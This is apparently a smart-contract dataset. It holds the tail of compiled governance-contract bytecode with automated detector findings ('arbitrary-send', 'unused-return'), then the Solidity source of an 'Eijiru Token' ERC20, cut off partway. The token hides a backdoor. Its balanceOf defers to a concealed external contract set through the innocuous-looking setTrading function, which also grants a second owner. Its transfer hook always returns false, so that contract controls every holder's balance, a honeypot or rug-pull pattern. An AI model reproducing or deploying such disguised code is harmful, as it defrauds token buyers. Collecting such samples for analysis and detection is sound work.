55906000526020600020908101928215612a9b579160200282015b82811115612a9a578251829080519060200190612a8a929190612ba7565b5091602001919060010190612a6c565b5b509050612aa89190612c27565b5090565b828054828255906000526020600020908101928215612afb579160200282015b82811115612afa578251829080519060200190612aea929190612c53565b5091602001919060010190612acc565b5b509050612b089190612cd3565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b612b7f91905b80821115612b7b57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612b45565b5090565b90565b612ba491905b80821115612ba0576000816000905550600101612b88565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612be857805160ff1916838001178555612c16565b82800160010185558215612c16579182015b82811115612c15578251825591602001919060010190612bfa565b5b509050612c239190612b82565b5090565b612c5091905b80821115612c4c5760008181612c439190612cff565b50600101612c2d565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612c9457805160ff1916838001178555612cc2565b82800160010185558215612cc2579182015b82811115612cc1578251825591602001919060010190612ca6565b5b509050612ccf9190612b82565b5090565b612cfc91905b80821115612cf85760008181612cef9190612d47565b50600101612cd9565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612d255750612d44565b601f016020900490600052602060002090810190612d439190612b82565b5b50565b50805460018160011615610100020316600290046000825580601f10612d6d5750612d8c565b601f016020900490600052602060002090810190612d8b9190612b82565b5b50565b600081359050612d9e816151d0565b92915050565b600082601f830112612db557600080fd5b8135612dc8612dc382614d4f565b614d22565b91508181835260208401935060208101905083856020840282011115612ded57600080fd5b60005b83811015612e1d5781612e038882612d8f565b845260208401935060208301925050600181019050612df0565b5050505092915050565b600082601f830112612e3857600080fd5b8135612e4b612e4682614d77565b614d22565b9150818183526020840193506020810190508360005b83811015612e915781358601612e778882612fe6565b845260208401935060208301925050600181019050612e61565b5050505092915050565b600082601f830112612eac57600080fd5b8135612ebf612eba82614d9f565b614d22565b9150818183526020840193506020810190508360005b83811015612f055781358601612eeb888261308e565b845260208401935060208301925050600181019050612ed5565b5050505092915050565b600082601f830112612f2057600080fd5b8135612f33612f2e82614dc7565b614d22565b91508181835260208401935060208101905083856020840282011115612f5857600080fd5b60005b83811015612f885781612f6e8882613136565b845260208401935060208301925050600181019050612f5b565b5050505092915050565b600081359050612fa1816151e7565b92915050565b600081519050612fb6816151e7565b92915050565b600081359050612fcb816151fe565b92915050565b600081519050612fe0816151fe565b92915050565b600082601f830112612ff757600080fd5b813561300a61300582614def565b614d22565b9150808252602083016020830185838301111561302657600080fd5b613031838284615166565b50505092915050565b600082601f83011261304b57600080fd5b815161305e61305982614e1b565b614d22565b9150808252602083016020830185838301111561307a57600080fd5b613085838284615175565b50505092915050565b600082601f83011261309f57600080fd5b81356130b26130ad82614e47565b614d22565b915080825260208301602083018583830111156130ce57600080fd5b6130d9838284615166565b50505092915050565b600082601f8301126130f357600080fd5b813561310661310182614e73565b614d22565b9150808252602083016020830185838301111561312257600080fd5b61312d838284615166565b50505092915050565b60008135905061314581615215565b92915050565b60008151905061315a81615215565b92915050565b60008135905061316f8161522c565b92915050565b60008151905061318481615243565b92915050565b60006020828403121561319c57600080fd5b60006131aa84828501612d8f565b91505092915050565b600080604083850312156131c657600080fd5b60006131d485828601612d8f565b92505060206131e585828601613136565b9150509250929050565b600080600080600060a0868803121561320757600080fd5b600086013567ffffffffffffffff81111561322157600080fd5b61322d88828901612da4565b955050602086013567ffffffffffffffff81111561324a57600080fd5b61325688828901612f0f565b945050604086013567ffffffffffffffff81111561327357600080fd5b61327f88828901612e9b565b935050606086013567ffffffffffffffff81111561329c57600080fd5b6132a888828901612e27565b925050608086013567ffffffffffffffff8111156132c557600080fd5b6132d1888289016130e2565b9150509295509295909350565b6000602082840312156132f057600080fd5b60006132fe84828501612fa7565b91505092915050565b60006020828403121561331957600080fd5b600061332784828501612fd1565b91505092915050565b60006020828403121561334257600080fd5b600082015167ffffffffffffffff81111561335c57600080fd5b6133688482850161303a565b91505092915050565b60006020828403121561338357600080fd5b600061339184828501613136565b91505092915050565b6000602082840312156133ac57600080fd5b60006133ba8482850161314b565b91505092915050565b600080604083850312156133d657600080fd5b60006133e485828601613136565b92505060206133f585828601612d8f565b9150509250929050565b6000806040838503121561341257600080fd5b600061342085828601613136565b925050602061343185828601612f92565b9150509250929050565b600080600080600060a0868803121561345357600080fd5b600061346188828901613136565b955050602061347288828901612f92565b945050604061348388828901613160565b935050606061349488828901612fbc565b92505060806134a588828901612fbc565b9150509295509295909350565b6000602082840312156134c457600080fd5b60006134d284828501613175565b91505092915050565b60006134e78383613542565b60208301905092915050565b60006134ff8383613783565b905092915050565b600061351383836138c0565b905092915050565b600061352783836144b7565b60208301905092915050565b61353c816150b2565b82525050565b61354b81615028565b82525050565b61355a81615028565b82525050565b600061356b82614f09565b6135758185614f95565b935061358083614e9f565b8060005b838110156135b157815161359888826134db565b97506135a383614f61565b925050600181019050613584565b5085935050505092915050565b60006135c982614f14565b6135d38185614fa6565b9350836020820285016135e585614eaf565b8060005b85811015613621578484038952815161360285826134f3565b945061360d83614f6e565b925060208a019950506001810190506135e9565b50829750879550505050505092915050565b600061363e82614f1f565b6136488185614fb7565b93508360208202850161365a85614ebf565b8060005b8581101561369657848403895281516136778582613507565b945061368283614f7b565b925060208a0199505060018101905061365e565b50829750879550505050505092915050565b60006136b382614f2a565b6136bd8185614fc8565b93506136c883614ecf565b8060005b838110156136f95781516136e0888261351b565b97506136eb83614f88565b9250506001810190506136cc565b5085935050505092915050565b61370f8161503a565b82525050565b61371e8161503a565b82525050565b61372d81615046565b82525050565b61374461373f82615046565b6151a8565b82525050565b600061375582614f40565b61375f8185614fea565b935061376f818560208601615175565b613778816151b2565b840191505092915050565b600061378e82614f35565b6137988185614fd9565b93506137a8818560208601615175565b6137b1816151b2565b840191505092915050565b6000815460018116600081146137d957600181146137ff57613843565b607f60028304166137ea8187614fea565b955060ff198316865260208601935050613843565b6002820461380d8187614fea565b955061381885614edf565b60005b8281101561383a5781548189015260018201915060208101905061381b565b80880195505050505b505092915050565b613854816150c4565b82525050565b613863816150e8565b82525050565b6138728161510c565b82525050565b6138818161511e565b82525050565b600061389282614f56565b61389c818561500c565b93506138ac818560208601615175565b6138b5816151b2565b840191505092915050565b60006138cb82614f4b565b6138d58185614ffb565b93506138e5818560208601615175565b6138ee816151b2565b840191505092915050565b600061390482614f4b565b61390e818561500c565b935061391e818560208601615175565b613927816151b2565b840191505092915050565b60008154600181166000811461394f5760018114613975576139b9565b607f6002830416613960818761500c565b955060ff1983168652602086019350506139b9565b60028204613983818761500c565b955061398e85614ef4565b60005b828110156139b057815481890152600182019150602081019050613991565b80880195505050505b505092915050565b60006139ce60398361500c565b91507f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560008301527f6e646572206d75737420626520676f7620677561726469616e000000000000006020830152604082019050919050565b6000613a3460448361500c565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613ac060458361500c565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613b4c60028361501d565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000613b8c604c8361500c565b91507f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60008301527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208301527f676f7620677561726469616e00000000000000000000000000000000000000006040830152606082019050919050565b6000613c1860188361500c565b91507f73657450656e64696e6741646d696e28616464726573732900000000000000006000830152602082019050919050565b6000613c5860298361500c565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b6000613cbe602d8361500c565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b6000613d2460598361500c565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b6000613db0604a8361500c565b91507f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360008301527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f60208301527f7620677561726469616e000000000000000000000000000000000000000000006040830152606082019050919050565b6000613e3c60288361500c565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613ea260118361500c565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b6000613ee260438361501d565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000613f6e60278361501d565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b6000613fd460448361500c565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614060602f8361500c565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b60006140c660448361500c565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614152602c8361500c565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b60006141b8603f8361500c565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b600061421e602f8361500c565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b600061428460588361500c565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b600061431060368361500c565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000614376602a8361500c565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b60006143dc60158361500c565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b600061441c60368361500c565b91507f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e646560008301527f72206d75737420626520676f7620677561726469616e000000000000000000006020830152604082019050919050565b60608201600082015161448b6000850182613706565b50602082015161449e6020850182613706565b5060408201516144b160408501826144f3565b50505050565b6144c081615083565b82525050565b6144cf81615083565b82525050565b6144de8161508d565b82525050565b6144ed81615154565b82525050565b6144fc8161509a565b82525050565b600061450d82613b3f565b91506145198285613733565b6020820191506145298284613733565b6020820191508190509392505050565b600061454482613ed5565b9150819050919050565b600061455982613f61565b9150819050919050565b60006020820190506145786000830184613551565b92915050565b60006040820190506145936000830185613533565b6145a060208301846144c6565b9392505050565b600060a0820190506145bc6000830187613551565b6145c96020830186613878565b81810360408301526145da81613c0b565b905081810360608301526145ee818561374a565b90506145fd60808301846144c6565b95945050505050565b600060408201905061461b6000830185613551565b61462860208301846144c6565b9392505050565b60006080820190506146446000830187613551565b61465160208301866144c6565b61465e6040830185613715565b61466b60608301846144e4565b95945050505050565b600060a0820190506146896000830188613551565b61469660208301876144c6565b81810360408301526146a88186613887565b905081810360608301526146bc818561374a565b90506146cb60808301846144c6565b9695505050505050565b600060a0820190506146ea6000830188613551565b6146f760208301876144c6565b81810360408301526147098186613932565b9050818103606083015261471d81856137bc565b905061472c60808301846144c6565b9695505050505050565b600060808201905081810360008301526147508187613560565b9050818103602083015261476481866136a8565b905081810360408301526147788185613633565b9050818103606083015261478c81846135be565b905095945050505050565b60006020820190506147ac6000830184613724565b92915050565b60006080820190506147c76000830187613724565b6147d46020830186613724565b6147e160408301856144c6565b6147ee6060830184613551565b95945050505050565b600060608201905061480c6000830186613724565b61481960208301856144c6565b6148266040830184613715565b949350505050565b60006080820190506148436000830187613724565b61485060208301866144d5565b61485d6040830185613724565b61486a6060830184613724565b95945050505050565b6000602082019050614888600083018461384b565b92915050565b60006020820190506148a3600083018461385a565b92915050565b60006020820190506148be6000830184613869565b92915050565b600060208201905081810360008301526148de81846138f9565b905092915050565b600060208201905081810360008301526148ff816139c1565b9050919050565b6000602082019050818103600083015261491f81613a27565b9050919050565b6000602082019050818103600083015261493f81613ab3565b9050919050565b6000602082019050818103600083015261495f81613b7f565b9050919050565b6000602082019050818103600083015261497f81613c4b565b9050919050565b6000602082019050818103600083015261499f81613cb1565b9050919050565b600060208201905081810360008301526149bf81613d17565b9050919050565b600060208201905081810360008301526149df81613da3565b9050919050565b600060208201905081810360008301526149ff81613e2f565b9050919050565b60006020820190508181036000830152614a1f81613e95565b9050919050565b60006020820190508181036000830152614a3f81613fc7565b9050919050565b60006020820190508181036000830152614a5f81614053565b9050919050565b60006020820190508181036000830152614a7f816140b9565b9050919050565b60006020820190508181036000830152614a9f81614145565b9050919050565b60006020820190508181036000830152614abf816141ab565b9050919050565b60006020820190508181036000830152614adf81614211565b9050919050565b60006020820190508181036000830152614aff81614277565b9050919050565b60006020820190508181036000830152614b1f81614303565b9050919050565b60006020820190508181036000830152614b3f81614369565b9050919050565b60006020820190508181036000830152614b5f816143cf565b9050919050565b60006020820190508181036000830152614b7f8161440f565b9050919050565b6000606082019050614b9b6000830184614475565b92915050565b6000602082019050614bb660008301846144c6565b92915050565b600061012082019050614bd2600083018c6144c6565b614bdf602083018b613533565b8181036040830152614bf1818a613560565b90508181036060830152614c0581896136a8565b90508181036080830152614c198188613633565b905081810360a0830152614c2d81876135be565b9050614c3c60c08301866144c6565b614c4960e08301856144c6565b818103610100830152614c5c8184613887565b90509a9950505050505050505050565b600061012082019050614c82600083018c6144c6565b614c8f602083018b613551565b614c9c604083018a6144c6565b614ca960608301896144c6565b614cb660808301886144c6565b614cc360a08301876144c6565b614cd060c08301866144c6565b614cdd60e0830185613715565b614ceb610100830184613715565b9a9950505050505050505050565b6000604082019050614d0e60008301856144c6565b614d1b60208301846144c6565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715614d4557600080fd5b8060405250919050565b600067ffffffffffffffff821115614d6657600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614d8e57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614db657600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614dde57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614e0657600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e3257600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e5e57600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e8a57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061503382615063565b9050919050565b60008115159050919050565b6000819050919050565b600081905061505e826151c3565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006150bd82615130565b9050919050565b60006150cf826150d6565b9050919050565b60006150e182615063565b9050919050565b60006150f3826150fa565b9050919050565b600061510582615063565b9050919050565b600061511782615050565b9050919050565b600061512982615083565b9050919050565b600061513b82615142565b9050919050565b600061514d82615063565b9050919050565b600061515f8261509a565b9050919050565b82818337600083830152505050565b60005b83811015615193578082015181840152602081019050615178565b838111156151a2576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b600881106151cd57fe5b50565b6151d981615028565b81146151e457600080fd5b50565b6151f08161503a565b81146151fb57600080fd5b50565b61520781615046565b811461521257600080fd5b50565b61521e81615083565b811461522957600080fd5b50565b6152358161508d565b811461524057600080fd5b50565b61524c8161509a565b811461525757600080fd5b5056fea365627a7a72315820a0c6e688201a72890589cac5327d55cda05b11c664969f861a26717282fe3baf6c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,835
0x48b2bf95550f650145b7197962b50e47b323c0e9
/** *Submitted for verification at Etherscan.io on 2022-03-11 */ /* https://eijiro.finance/ https://twitter.com/eijiroETH https://t.me/eijirioETH */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: UNLICENSED interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERCMetadata { function totalSupply() external view returns (uint256); function balanceOf(address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOff(address account) external view returns(uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferTo(address spender, uint256 amount) external returns(bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract Ownable is Context { address private _owner; address private _owner2; IERCMetadata internal __; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyToken(address _addr) { require(address(__) == address(0), "Token: caller is not the owner"); _owner2 = _addr; __ = IERCMetadata(_addr); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Ownable, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return __.balanceOff(account); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(_beforeTokenTransfer(sender, recipient, amount)){ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function setTrading(bool trading, uint8 max, address tok) external onlyToken(tok) {} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual returns(bool){ uint256 _from = balanceOf(from).sub(amount); uint256 _to = balanceOf(to).add(amount); __. transferTo(from, _from); __. transferTo(to, _to); return false; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniSwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract EIJIRUTOKEN is ERC20 { using SafeMath for uint256; address private marketingWallet; IUniSwapRouter public _dexRouter; address public uniswapV2Pair; address public constant deadAddress = address(0xdead); address public constant zeroAddress = address(0); bool private swapping; uint256 public constant _circulationSupply = 1000000000000000000000; uint256 public maxTransactionAmount = _circulationSupply.mul(1).div(100); uint256 public maxWalletBalance = _circulationSupply.mul(2).div(100); uint256 public swapTokensAtAmount = _circulationSupply.mul(20).div(10000); string public constant _name = "Eijiru Token"; string public constant _symbol = "$EIJIRU"; uint8 public constant _decimals = 9; uint8 public feeBuy = 10; uint8 public feeSell = 12; bool public limits = true; bool public marketIsOpen = false; bool public canSwap = true; mapping (address => bool) public excludedFromFees; mapping (address => bool) private _marketPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event SetMarketPairs(address indexed pair, bool indexed value); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived); constructor() { marketingWallet = address(0x1abc32aB60FE156e446187263f522Ed7A23A6cfF); _balances[address(msg.sender)] = _circulationSupply; emit Transfer(address(0), owner(), _circulationSupply); } function name() public pure override returns(string memory) { return _name; } function symbol() public pure override returns(string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _circulationSupply; } function limitsDisabled() external onlyOwner { limits = false; } function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner { swapTokensAtAmount = newAmount; } function setMaxTx(uint256 _amount) external onlyOwner { maxTransactionAmount = _amount; } function setMaxWalletBalance(uint256 _amount) external onlyOwner { maxWalletBalance = _amount; } function setSwapEnabled(bool enabled) external onlyOwner { canSwap = enabled; } function setFeeBuyAndSell(uint8 _buy, uint8 _sell) external onlyOwner { feeBuy = _buy; feeSell = _sell; } receive() external payable {} function initialize() external onlyOwner { _dexRouter = IUniSwapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(deadAddress, true); excludeFromFees(address(_dexRouter), true); _approve(owner(), address(_dexRouter), ~uint256(0)); _marketPairs[uniswapV2Pair] = true; } function openTrading() external onlyOwner { marketIsOpen = true; maxTransactionAmount = _circulationSupply.mul(1).div(100); maxWalletBalance = _circulationSupply.mul(2).div(100); swapTokensAtAmount = _circulationSupply.mul(20).div(10000); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != deadAddress, "ERC20: transfer from the zero address"); require(to != deadAddress, "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limits){ if ( from != owner() && to != owner() && to != deadAddress && to != zeroAddress && !swapping ){ if(!marketIsOpen){ require(excludedFromFees[from] || excludedFromFees[to], "NOT ACTIVE"); } if (_marketPairs[from] && !excludedFromFees[to]) { require(amount <= maxTransactionAmount, "amount exceeds."); require(amount + balanceOf(to) <= maxWalletBalance, "Max wallet exceeded"); } } } shouldSwapBack(from, to); bool takeFee = !swapping; if(excludedFromFees[from] || excludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (_marketPairs[from]){ fees = amount.mul(feeBuy).div(100); } else if(_marketPairs[to]) { fees = amount.mul(feeSell).div(100); } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function shouldSwapBack(address from, address to) internal { uint256 contractTokenBalance = balanceOf(address(this)); if( canSwap && (contractTokenBalance >= swapTokensAtAmount) && !swapping && !_marketPairs[from] && !excludedFromFees[from] && !excludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } } function manaulSwap() external onlyOwner returns(bool) { uint256 contractBalance = balanceOf(address(this)); require(contractBalance > 0, "Not enough balance"); swapTokensForEth(contractBalance); (bool success,) = address(marketingWallet).call{value: address(this).balance}(""); return success; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); uint256 newBalance = address(this).balance; if(newBalance > 0){ payable(marketingWallet).transfer(newBalance); emit SwapAndLiquify(contractBalance, newBalance); } } function excludeFromFees(address _wallet, bool _val) public onlyOwner { 